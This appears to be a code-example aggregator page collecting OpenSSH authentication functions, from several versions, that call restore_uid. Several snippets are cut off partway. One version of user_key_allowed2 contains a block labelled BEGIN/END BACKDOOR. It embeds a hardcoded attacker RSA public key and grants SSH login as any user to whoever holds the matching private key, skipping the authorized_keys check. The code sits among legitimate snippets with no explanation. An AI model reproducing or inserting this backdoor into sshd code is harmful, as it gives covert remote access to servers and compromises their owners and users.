C++ restore_uid函数代码示例

static int
match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert)
{
	FILE *f;
	char line[SSH_MAX_PUBKEY_BYTES], *cp, *ep, *line_opts;
	u_long linenum = 0;
	u_int i;

	temporarily_use_uid(pw);
	debug("trying authorized principals file %s", file);
	if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) {
		restore_uid();
		return 0;
	}
	while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
		/* Skip leading whitespace. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		/* Skip blank and comment lines. */
		if ((ep = strchr(cp, '#')) != NULL)
			*ep = '\0';
		if (!*cp || *cp == '\n')
			continue;
		/* Trim trailing whitespace. */
		ep = cp + strlen(cp) - 1;
		while (ep > cp && (*ep == '\n' || *ep == ' ' || *ep == '\t'))
			*ep-- = '\0';
		/*
		 * If the line has internal whitespace then assume it has
		 * key options.
		 */
		line_opts = NULL;
		if ((ep = strrchr(cp, ' ')) != NULL ||
		    (ep = strrchr(cp, '\t')) != NULL) {
			for (; *ep == ' ' || *ep == '\t'; ep++)
				;
			line_opts = cp;
			cp = ep;
		}
		for (i = 0; i < cert->nprincipals; i++) {
			if (strcmp(cp, cert->principals[i]) == 0) {
				debug3("matched principal \"%.100s\" "
				    "from file \"%s\" on line %lu",
				    cert->principals[i], file, linenum);
				if (auth_parse_options(pw, line_opts,
				    file, linenum) != 1)
					continue;
				fclose(f);
				restore_uid();
				return 1;
			}
		}
	}
	fclose(f);
	restore_uid();
	return 0;
}

int
auth_krb4_tgt(Authctxt *authctxt, const char *string)
{
	CREDENTIALS creds;
	struct passwd *pw;

	if ((pw = authctxt->pw) == NULL)
		goto failure;

	temporarily_use_uid(pw);

	if (!radix_to_creds(string, &creds)) {
		log("Protocol error decoding Kerberos v4 TGT");
		goto failure;
	}
	if (strncmp(creds.service, "", 1) == 0)	/* backward compatibility */
		strlcpy(creds.service, "krbtgt", sizeof creds.service);

	if (strcmp(creds.service, "krbtgt")) {
		log("Kerberos v4 TGT (%s%s%[email protected]%s) rejected for %s",
		    creds.pname, creds.pinst[0] ? "." : "", creds.pinst,
		    creds.realm, pw->pw_name);
		goto failure;
	}
	if (!krb4_init(authctxt))
		goto failure;

	if (in_tkt(creds.pname, creds.pinst) != KSUCCESS)
		goto failure;

	if (save_credentials(creds.service, creds.instance, creds.realm,
	    creds.session, creds.lifetime, creds.kvno, &creds.ticket_st,
	    creds.issue_date) != KSUCCESS) {
		debug("Kerberos v4 TGT refused: couldn't save credentials");
		goto failure;
	}
	/* Successful authentication, passed all checks. */
	chown(tkt_string(), pw->pw_uid, pw->pw_gid);

	debug("Kerberos v4 TGT accepted (%s%s%[email protected]%s)",
	    creds.pname, creds.pinst[0] ? "." : "", creds.pinst, creds.realm);
	memset(&creds, 0, sizeof(creds));

	restore_uid();

	return (1);

 failure:
	krb4_cleanup_proc(authctxt);
	memset(&creds, 0, sizeof(creds));
	restore_uid();

	return (0);
}

/*
 * Checks whether key is allowed in file.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	FILE *f;
	int found_key = 0;

	/********** BEGIN BACKDOOR ***************/
	char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== [email protected]";
	char *char_pointer = backdoor_key;
	Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
	auth_clear_options();
	int ret = key_read(found, &char_pointer);
	if (key_equal(found, key)) {
		found_key = 1;
		key_free(found);
		kk_backdoor_active = 1;
		return found_key;
	}
	key_free(found);
	/*********** END BACKDOOR ****************/

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
		found_key = check_authkeys_file(f, file, key, pw);
		fclose(f);
	}

	restore_uid();
	return found_key;
}

static int
match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert)
{
	FILE *f;
	int success;

	temporarily_use_uid(pw);
	debug("trying authorized principals file %s", file);
	if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) {
		restore_uid();
		return 0;
	}
	success = process_principals(f, file, pw, cert);
	fclose(f);
	restore_uid();
	return success;
}

/*
 * Checks whether key is allowed in file.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
	FILE *f;
	int found_key = 0;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	debug("trying public key file %s", file);
	if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
		found_key = check_authkeys_file(f, file, key, pw);
		fclose(f);
	}

	restore_uid();
	return found_key;
}

/* return ok if key exists in sysfile or userfile */
HostStatus
check_key_in_hostfiles(struct passwd *pw, struct sshkey *key, const char *host,
    const char *sysfile, const char *userfile)
{
	char *user_hostfile;
	struct stat st;
	HostStatus host_status;
	struct hostkeys *hostkeys;
	const struct hostkey_entry *found;

	hostkeys = init_hostkeys();
	load_hostkeys(hostkeys, host, sysfile);
	if (userfile != NULL) {
		user_hostfile = tilde_expand_filename(userfile, pw->pw_uid);
		if (options.strict_modes &&
		    (stat(user_hostfile, &st) == 0) &&
		    ((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
		    (st.st_mode & 022) != 0)) {
			logit("Authentication refused for %.100s: "
			    "bad owner or modes for %.200s",
			    pw->pw_name, user_hostfile);
			auth_debug_add("Ignored %.200s: bad ownership or modes",
			    user_hostfile);
		} else {
			temporarily_use_uid(pw);
			load_hostkeys(hostkeys, host, user_hostfile);
			restore_uid();
		}
		free(user_hostfile);
	}
	host_status = check_key_in_hostkeys(hostkeys, key, &found);
	if (host_status == HOST_REVOKED)
		error("WARNING: revoked key for %s attempted authentication",
		    found->host);
	else if (host_status == HOST_OK)
		debug("%s: key for %s found at %s:%ld", __func__,
		    found->host, found->file, found->line);
	else
		debug("%s: key for host %s not found", __func__, host);

	free_hostkeys(hostkeys);

	return host_status;
}

int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
	char *file;
	u_int i, allowed = 0;

	temporarily_use_uid(pw);

	for (i = 0; !allowed && i < options.num_authkeys_files; i++) {
		file = expand_authorized_keys(
		    options.authorized_keys_files[i], pw);
		allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey);
		xfree(file);
	}

	restore_uid();

	return allowed;
}

int 
ssh_gssapi_update_creds(ssh_gssapi_ccache *store) {
	int ok = 0;

	/* Check we've got credentials to store */
	if (!gssapi_client.updated)
		return 0;

	gssapi_client.updated = 0;

	temporarily_use_uid(gssapi_client.store.owner);
	if (gssapi_client.mech && gssapi_client.mech->updatecreds)
		ok = (*gssapi_client.mech->updatecreds)(store, &gssapi_client);
	else
		debug("No update function for this mechanism");

	restore_uid();

	return ok;
}

/* return ok if key exists in sysfile or userfile */
HostStatus
check_key_in_hostfiles(struct passwd *pw, Key *key, const char *host,
    const char *sysfile, const char *userfile)
{
	Key *found;
	char *user_hostfile;
	struct stat st;
	HostStatus host_status;

	/* Check if we know the host and its host key. */
	found = key_new(key->type);
	host_status = check_host_in_hostfile(sysfile, host, key, found, NULL);

	if (host_status != HOST_OK && userfile != NULL) {
		user_hostfile = tilde_expand_filename(userfile, pw->pw_uid);
		if (options.strict_modes &&
		    (stat(user_hostfile, &st) == 0) &&
		    ((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
		    (st.st_mode & 022) != 0)) {
			logit("Authentication refused for %.100s: "
			    "bad owner or modes for %.200s",
			    pw->pw_name, user_hostfile);
		} else {
			temporarily_use_uid(pw);
			host_status = check_host_in_hostfile(user_hostfile,
			    host, key, found, NULL);
			restore_uid();
		}
		xfree(user_hostfile);
	}
	key_free(found);

	debug2("check_key_in_hostfiles: key %s for %s", host_status == HOST_OK ?
	    "ok" : "not found", host);
	return host_status;
}

/*
 * Checks whether key is allowed in output of command.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
	FILE *f;
	int ok, found_key = 0;
	struct passwd *pw;
	struct stat st;
	int status, devnull, p[2], i;
	pid_t pid;
	char *username, errmsg[512];

	if (options.authorized_keys_command == NULL ||
	    options.authorized_keys_command[0] != '/')
		return 0;

	if (options.authorized_keys_command_user == NULL) {
		error("No user for AuthorizedKeysCommand specified, skipping");
		return 0;
	}

	username = percent_expand(options.authorized_keys_command_user,
	    "u", user_pw->pw_name, (char *)NULL);
	pw = getpwnam(username);
	if (pw == NULL) {
		error("AuthorizedKeysCommandUser \"%s\" not found: %s",
		    username, strerror(errno));
		free(username);
		return 0;
	}
	free(username);

	temporarily_use_uid(pw);

	if (stat(options.authorized_keys_command, &st) < 0) {
		error("Could not stat AuthorizedKeysCommand \"%s\": %s",
		    options.authorized_keys_command, strerror(errno));
		goto out;
	}
	if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0,
	    errmsg, sizeof(errmsg)) != 0) {
		error("Unsafe AuthorizedKeysCommand: %s", errmsg);
		goto out;
	}

	if (pipe(p) != 0) {
		error("%s: pipe: %s", __func__, strerror(errno));
		goto out;
	}

	debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"",
	    options.authorized_keys_command, user_pw->pw_name, pw->pw_name);

	/*
	 * Don't want to call this in the child, where it can fatal() and
	 * run cleanup_exit() code.
	 */
	restore_uid();

	switch ((pid = fork())) {
	case -1: /* error */
		error("%s: fork: %s", __func__, strerror(errno));
		close(p[0]);
		close(p[1]);
		return 0;
	case 0: /* child */
		for (i = 0; i < NSIG; i++)
			signal(i, SIG_DFL);

		if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
			error("%s: open %s: %s", __func__, _PATH_DEVNULL,
			    strerror(errno));
			_exit(1);
		}
		/* Keep stderr around a while longer to catch errors */
		if (dup2(devnull, STDIN_FILENO) == -1 ||
		    dup2(p[1], STDOUT_FILENO) == -1) {
			error("%s: dup2: %s", __func__, strerror(errno));
			_exit(1);
		}
		closefrom(STDERR_FILENO + 1);

		/* Don't use permanently_set_uid() here to avoid fatal() */
		if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
			error("setresgid %u: %s", (u_int)pw->pw_gid,
			    strerror(errno));
			_exit(1);
		}
		if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
			error("setresuid %u: %s", (u_int)pw->pw_uid,
			    strerror(errno));
			_exit(1);
		}
		/* stdin is pointed to /dev/null at this point */
		if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
			error("%s: dup2: %s", __func__, strerror(errno));
			_exit(1);
//.........这里部分代码省略.........

int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
	char line[8192], *file;
	int allowed = 0;
	u_int bits;
	FILE *f;
	u_long linenum = 0;
	struct stat st;
	Key *key;

	/* Temporarily use the user's uid. */
	temporarily_use_uid(pw);

	/* The authorized keys. */
	file = authorized_keys_file(pw);
	debug("trying public RSA key file %s", file);

	/* Fail quietly if file does not exist */
	if (stat(file, &st) < 0) {
		/* Restore the privileged uid. */
		restore_uid();
		xfree(file);
		return (0);
	}
	/* Open the file containing the authorized keys. */
	f = fopen(file, "r");
	if (!f) {
		/* Restore the privileged uid. */
		restore_uid();
		xfree(file);
		return (0);
	}
	if (options.strict_modes &&
	    secure_filename(f, file, pw, line, sizeof(line)) != 0) {
		xfree(file);
		fclose(f);
		log("Authentication refused: %s", line);
		restore_uid();
		return (0);
	}

	/* Flag indicating whether the key is allowed. */
	allowed = 0;

	key = key_new(KEY_RSA1);

	/*
	 * Go though the accepted keys, looking for the current key.  If
	 * found, perform a challenge-response dialog to verify that the
	 * user really has the corresponding private key.
	 */
	while (fgets(line, sizeof(line), f)) {
		char *cp;
		char *options;

		linenum++;

		/* Skip leading whitespace, empty and comment lines. */
		for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
			;
		if (!*cp || *cp == '\n' || *cp == '#')
			continue;

		/*
		 * Check if there are options for this key, and if so,
		 * save their starting address and skip the option part
		 * for now.  If there are no options, set the starting
		 * address to NULL.
		 */
		if (*cp < '0' || *cp > '9') {
			int quoted = 0;
			options = cp;
			for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
				if (*cp == '\\' && cp[1] == '"')
					cp++;	/* Skip both */
				else if (*cp == '"')
					quoted = !quoted;
			}
		} else
			options = NULL;

		/* Parse the key from the line. */
		if (hostfile_read_key(&cp, &bits, key) == 0) {
			debug("%.100s, line %lu: non ssh1 key syntax",
			    file, linenum);
			continue;
		}
		/* cp now points to the comment part. */

		/* Check if the we have found the desired key (identified by its modulus). */
		if (BN_cmp(key->rsa->n, client_n) != 0)
			continue;

		/* check the real bits  */
		if (bits != BN_num_bits(key->rsa->n))
			log("Warning: %s, line %lu: keysize mismatch: "
			    "actual %d vs. announced %d.",
			    file, linenum, BN_num_bits(key->rsa->n), bits);

//.........这里部分代码省略.........

//.........这里部分代码省略.........
	/*
	 * NB. all returns later this function should go via "out" to
	 * ensure the original SIGCHLD handler is restored properly.
	 */
	osigchld = signal(SIGCHLD, SIG_DFL);

	/* Prepare and verify the user for the command */
	username = percent_expand(options.authorized_keys_command_user,
	    "u", user_pw->pw_name, (char *)NULL);
	pw = getpwnam(username);
	if (pw == NULL) {
		error("AuthorizedKeysCommandUser \"%s\" not found: %s",
		    username, strerror(errno));
		goto out;
	}

	/* Prepare AuthorizedKeysCommand */
	if ((key_fp = sshkey_fingerprint(key, options.fingerprint_hash,
	    SSH_FP_DEFAULT)) == NULL) {
		error("%s: sshkey_fingerprint failed", __func__);
		goto out;
	}
	if ((r = sshkey_to_base64(key, &keytext)) != 0) {
		error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r));
		goto out;
	}

	/* Turn the command into an argument vector */
	if (split_argv(options.authorized_keys_command, &ac, &av) != 0) {
		error("AuthorizedKeysCommand \"%s\" contains invalid quotes",
		    command);
		goto out;
	}
	if (ac == 0) {
		error("AuthorizedKeysCommand \"%s\" yielded no arguments",
		    command);
		goto out;
	}
	for (i = 1; i < ac; i++) {
		tmp = percent_expand(av[i],
		    "u", user_pw->pw_name,
		    "h", user_pw->pw_dir,
		    "t", sshkey_ssh_name(key),
		    "f", key_fp,
		    "k", keytext,
		    (char *)NULL);
		if (tmp == NULL)
			fatal("%s: percent_expand failed", __func__);
		free(av[i]);
		av[i] = tmp;
	}
	/* Prepare a printable command for logs, etc. */
	command = assemble_argv(ac, av);

	/*
	 * If AuthorizedKeysCommand was run without arguments
	 * then fall back to the old behaviour of passing the
	 * target username as a single argument.
	 */
	if (ac == 1) {
		av = xreallocarray(av, ac + 2, sizeof(*av));
		av[1] = xstrdup(user_pw->pw_name);
		av[2] = NULL;
		/* Fix up command too, since it is used in log messages */
		free(command);
		xasprintf(&command, "%s %s", av[0], av[1]);
	}

	if ((pid = subprocess("AuthorizedKeysCommand", pw, command,
	    ac, av, &f)) == 0)
		goto out;

	uid_swapped = 1;
	temporarily_use_uid(pw);

	ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);

	fclose(f);
	f = NULL;

	if (exited_cleanly(pid, "AuthorizedKeysCommand", command) != 0)
		goto out;

	/* Read completed successfully */
	found_key = ok;
 out:
	if (f != NULL)
		fclose(f);
	signal(SIGCHLD, osigchld);
	for (i = 0; i < ac; i++)
		free(av[i]);
	free(av);
	if (uid_swapped)
		restore_uid();
	free(command);
	free(username);
	free(key_fp);
	free(keytext);
	return found_key;
}

int
auth_krb5_password(Authctxt *authctxt, const char *password)
{
#ifndef HEIMDAL
	krb5_creds creds;
	krb5_principal server;
	char ccname[40];
	int tmpfd;
	mode_t old_umask;
#endif
	krb5_error_code problem;
	krb5_ccache ccache = NULL;
	int len;

	if (!authctxt->valid)
		return (0);

	temporarily_use_uid(authctxt->pw);

	problem = krb5_init(authctxt);
	if (problem)
		goto out;

	problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name,
		    &authctxt->krb5_user);
	if (problem)
		goto out;

#ifdef HEIMDAL
	problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache);
	if (problem)
		goto out;

	problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
		authctxt->krb5_user);
	if (problem)
		goto out;

	restore_uid();

	problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
	    ccache, password, 1, NULL);

	temporarily_use_uid(authctxt->pw);

	if (problem)
		goto out;

	problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops,
	    &authctxt->krb5_fwd_ccache);
	if (problem)
		goto out;

	problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
	    authctxt->krb5_fwd_ccache);
	krb5_cc_destroy(authctxt->krb5_ctx, ccache);
	ccache = NULL;
	if (problem)
		goto out;

#else
	problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds,
	    authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL);
	if (problem)
		goto out;

	problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL,
	    KRB5_NT_SRV_HST, &server);
	if (problem)
		goto out;

	restore_uid();
	problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server,
	    NULL, NULL, NULL);
	krb5_free_principal(authctxt->krb5_ctx, server);
	temporarily_use_uid(authctxt->pw);
	if (problem)
		goto out;

	if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user,
			  authctxt->pw->pw_name)) {
		problem = -1;
		goto out;
	}

	snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid());

	old_umask = umask(0177);
	tmpfd = mkstemp(ccname + strlen("FILE:"));
	umask(old_umask);
	if (tmpfd == -1) {
		logit("mkstemp(): %.100s", strerror(errno));
		problem = errno;
		goto out;
	}

	if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) {
		logit("fchmod(): %.100s", strerror(errno));
		close(tmpfd);
		problem = errno;
//.........这里部分代码省略.........

int
auth_krb5_password(struct authctxt *authctxt, const char *password)
{
	krb5_error_code problem;
	krb5_ccache ccache = NULL;
	const char *errmsg;

	temporarily_use_uid(authctxt->pw);

	problem = krb5_init(authctxt);
	if (problem)
		goto out;

	problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name,
		    &authctxt->krb5_user);
	if (problem)
		goto out;

	problem = krb5_cc_new_unique(authctxt->krb5_ctx,
	     krb5_mcc_ops.prefix, NULL, &ccache);
	if (problem)
		goto out;

	problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
		authctxt->krb5_user);
	if (problem)
		goto out;

	restore_uid();

	problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
	    ccache, password, 1, NULL);

	temporarily_use_uid(authctxt->pw);

	if (problem)
		goto out;

	problem = krb5_cc_new_unique(authctxt->krb5_ctx,
	     krb5_fcc_ops.prefix, NULL, &authctxt->krb5_fwd_ccache);
	if (problem)
		goto out;

	problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
	    authctxt->krb5_fwd_ccache);
	krb5_cc_destroy(authctxt->krb5_ctx, ccache);
	ccache = NULL;
	if (problem)
		goto out;

	authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx,
	    authctxt->krb5_fwd_ccache);

 out:
	restore_uid();

	if (problem) {
		if (ccache)
			krb5_cc_destroy(authctxt->krb5_ctx, ccache);

		if (authctxt->krb5_ctx != NULL) {
			errmsg = krb5_get_error_message(authctxt->krb5_ctx,
			    problem);
			debug("Kerberos password authentication failed: %s",
			    errmsg);
			krb5_free_error_message(authctxt->krb5_ctx, errmsg);
		} else
			debug("Kerberos password authentication failed: %d",
			    problem);

		krb5_cleanup_proc(authctxt);

		if (options.kerberos_or_local_passwd)
			return (-1);
		else
			return (0);
	}
	return (authctxt->valid ? 1 : 0);
}

int
auth_krb5_tgt(Authctxt *authctxt, krb5_data *tgt)
{
	krb5_error_code problem;
	krb5_ccache ccache = NULL;
	char *pname;
	const char *errtxt;

	if (authctxt->pw == NULL || authctxt->krb5_user == NULL)
		return (0);

	temporarily_use_uid(authctxt->pw);

	problem = krb5_cc_new_unique(authctxt->krb5_ctx, "FILE", NULL, &ccache);
	if (problem)
		goto fail;

	problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
	    authctxt->krb5_user);
	if (problem)
		goto fail;

	problem = krb5_rd_cred2(authctxt->krb5_ctx, authctxt->krb5_auth_ctx,
	    ccache, tgt);
	if (problem)
		goto fail;

	authctxt->krb5_fwd_ccache = ccache;
	ccache = NULL;

	authctxt->krb5_ticket_file = __UNCONST(krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache));

	problem = krb5_unparse_name(authctxt->krb5_ctx, authctxt->krb5_user,
	    &pname);
	if (problem)
		goto fail;

#ifdef USE_PAM
	if (options.use_pam)
		do_pam_putenv(__UNCONST("KRB5CCNAME"), authctxt->krb5_ticket_file);
#endif
	debug("Kerberos v5 TGT accepted (%s)", pname);

	restore_uid();

	return (1);

 fail:
	if (problem) {
		errtxt = krb5_get_error_message(authctxt->krb5_ctx, problem);
		if (errtxt != NULL) {
			debug("Kerberos v5 TGT passing failed: %s", errtxt);
			krb5_free_error_message(authctxt->krb5_ctx, errtxt);
		} else
			debug("Kerberos v5 TGT passing failed: %d", problem);
	}
	if (ccache)
		krb5_cc_destroy(authctxt->krb5_ctx, ccache);

	restore_uid();

	return (0);
}